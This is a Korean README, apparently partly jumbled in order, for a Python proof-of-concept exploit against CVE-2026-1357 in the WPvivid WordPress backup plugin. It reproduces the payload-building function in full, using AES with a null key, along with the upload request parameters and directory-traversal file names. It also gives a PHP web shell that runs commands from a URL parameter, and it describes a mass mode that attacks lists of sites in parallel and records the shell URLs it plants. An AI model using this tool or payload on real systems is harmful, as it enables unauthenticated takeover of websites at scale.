
Migration, Backup, Staging <= 0.9.123 - 인증되지 않은 임의 파일 업로드
CVE-2026-1357.py)마이그레이션, 백업, 스테이징 – WPvivid Backup & Migration ≤ 0.9.123
취약점: 인증되지 않은 임의 파일 업로드 → 원격 코드 실행
CVE: CVE-2026-1357 – CVSS 9.8 (치명적)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py는 WPvivid 취약점을 위한 개념 증명(PoC) 익스플로잇 도구입니다. 공격자가 다음을 수행할 수 있게 하는 결함이 있는 AES 세션 처리를 중심으로 합니다:
name)를 페이로드에 포함시킵니다.wpvivid_action=send_to_site 매개변수를 통해 이 페이로드를 WPvivid 엔드포인트로 전송합니다.이 스크립트는 개인 키를 직접 추측하거나 악용하려고 시도하지 않습니다. 대신 실패한 openssl_private_decrypt()로 인해 phpseclib의 AES 암호가 널 키로 초기화되는 WPvivid의 손상된 흐름을 시뮬레이션합니다.
익스플로잇의 핵심은 gen_wpvivid_payload()에 있습니다:
JSON 구조를 생성합니다:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
이 JSON을 직렬화합니다(공백 없는 압축 형식).
다음을 사용하여 JSON을 암호화합니다:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16그런 다음 앞에 다음을 추가합니다:
"000" (정적 길이 필드 자리 표시자)"{len(cipher):016X}"로 인코딩한 값최종 암호화 블롭은 다음과 같습니다:
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
이 블롭은 base64로 인코딩되어 최종 wpvivid_content 값으로 반환됩니다.
함수:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
이는 RSA 복호화 실패 후 취약한 코드 경로에서 WPvivid의 복호화 기대 사항과 일치합니다.
이 스크립트에는 두 가지 주요 모드와 대량 테스트 기능이 있습니다:
mood1 – 페이로드 생성기
wpvivid_content 값을 생성합니다.mood2 – 단일 대상 테스터
대량 모드 (mood1에서)
python3 CVE-2026-1357.py
배너와 모드 선택이 있는 Rich 기반 UI가 표시됩니다:
mood1 – 페이로드 생성기mood2 – 단일 대상 테스터wpvivid_content)를 생성합니다:
모드 선택
프롬프트가 표시되면:
Choose mode (mood1/mood2) [mood1]:
Enter를 누르거나(mood1로 기본 설정) mood1을 입력합니다.
대상 파일명 / 경로
다음을 묻습니다:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
예시:
WPvivid 백업 디렉터리에 파일을 넣으려면:
Nx_.php
디렉터리 트래버설을 악용하려면(대상이 허용하는 경우):
../../public_html/Nx_.php
이 값은 JSON 페이로드의 name 필드로 들어갑니다.
콘텐츠 입력 모드
스크립트는 파일 콘텐츠를 정의하는 세 가지 방법을 표시합니다:
EOF로 끝남).shell.php).프롬프트가 표시됩니다:
페이로드를 생성한 후 스크립트가 묻습니다:
Auto-send this payload to targets list (mass mode)? (y/N):
y로 답하면 방금 만든 페이로드와 파일명으로 대량 모드를 시작합니다.
대상 파일
예시 프롬프트:
Targets list file (one URL per line):
파일의 예상 형식(예: targets.txt):
https://site1.com
site2.com
http://site3.net
스크립트는 기본 URL을 자동으로 정규화합니다(누락된 스킴 추가).
스레드 수
Threads (concurrent sites) [5]:
병렬로 처리할 사이트 수를 제어합니다.
대상별 로직
각 대상에 대해:
URL 정규화 → base_url.
호출:
send_wpvivid_payload(base_url, payload)
이 함수는:
wpvivid_action=send_to_site + wpvivid_content=<payload> POST를 구성합니다.{"result":"success"}(압축 형식 검사)가 포함되어 있는지 확인합니다.업로드가 성공한 것으로 간주되면:
shell_url을 다음과 같이 구성합니다:
wpvivid_payload.txt 또는 외부 소스에서)를 단일 URL에 대해 사용하고 결과 파일을 검증합니다.대상 URL
프롬프트:
Target base URL (e.g., https://site.com):
예시:
https://victim.com
스크립트는 이를 다음과 같은 기본 URL로 정규화합니다:
https://victim.com
파일 이름
프롬프트:
Expected file name (e.g., Nx_.php):
이는 WPvivid가 기록하리라 예상하는 이름/경로입니다(페이로드의 name 필드에 인코딩한 값과 일치).
페이로드 입력
프롬프트:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=...로 시작하는 전체 줄을 붙여넣으면 접두사를 제거합니다.실행
스크립트는:
wpvivid_action=send_to_site + wpvivid_content를 사용하여 POST를 전송합니다.
응답이 성공을 나타내면 다음을 구성합니다:
이 모드는 수동/랩 테스트에 이상적이며 페이로드를 세밀하게 제어하면서 단일 사이트를 테스트할 수 있습니다.
wpvivid_payload.txt
mood1에서 기록됩니다.file_name=<file_name_you_chose>wpvivid_content=<payload>Nx_.txt
mood1(대량 모드) 및 mood2에서 기록됩니다.이 도구는 다음 목적으로만 사용됩니다:
이 스크립트를 사용함으로써 귀하는 다음에 동의합니다:
이 도구는 본인의 책임 하에 그리고 합법적인 보안 테스트를 위해서만 사용하십시오.
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploited업데이트, 도구 및 보안 연구 콘텐츠를 보려면 Telegram 채널을 팔로우하세요:
👉 @KNxploited
Mode [1/2/3] [1]:
모드 1 – 한 줄
Single line content:
입력 예:
<?php phpinfo();
모드 2 – 여러 줄
Enter file content, line by line. Type 'EOF' on its own line when done.
여러 줄 PHP 스크립트를 붙여넣거나 입력한 후 EOF를 한 줄에 입력하여 끝낼 수 있습니다:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
모드 3 – 로컬 파일
Local file path (e.g., shell.php):
스크립트는 전체 파일을 file_bytes로 읽습니다.
페이로드 생성
콘텐츠가 캡처되면 스크립트는:
다음과 같은 출력이 표시됩니다:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
그리고 wpvivid_payload.txt 파일이 기록됩니다:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
Nx_.txt에 저장합니다.
verify_written_file()을 시도합니다:
shell_url에 GET 요청을 보냅니다.status_code == 200이면 검증된 것으로 표시합니다.오류가 발생하면:
short_reason()을 통해 이유를 분류합니다:
UI
[OK] <shell_url>.[FAIL] <base> (reason: ...).[!] Not verified (...).<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
그리고 해당 URL과 함께 [OK]를 출력합니다.
성공한 URL을 Nx_.txt에 추가합니다.
verify_written_file()을 통해 검증을 시도하고 결과를 출력합니다.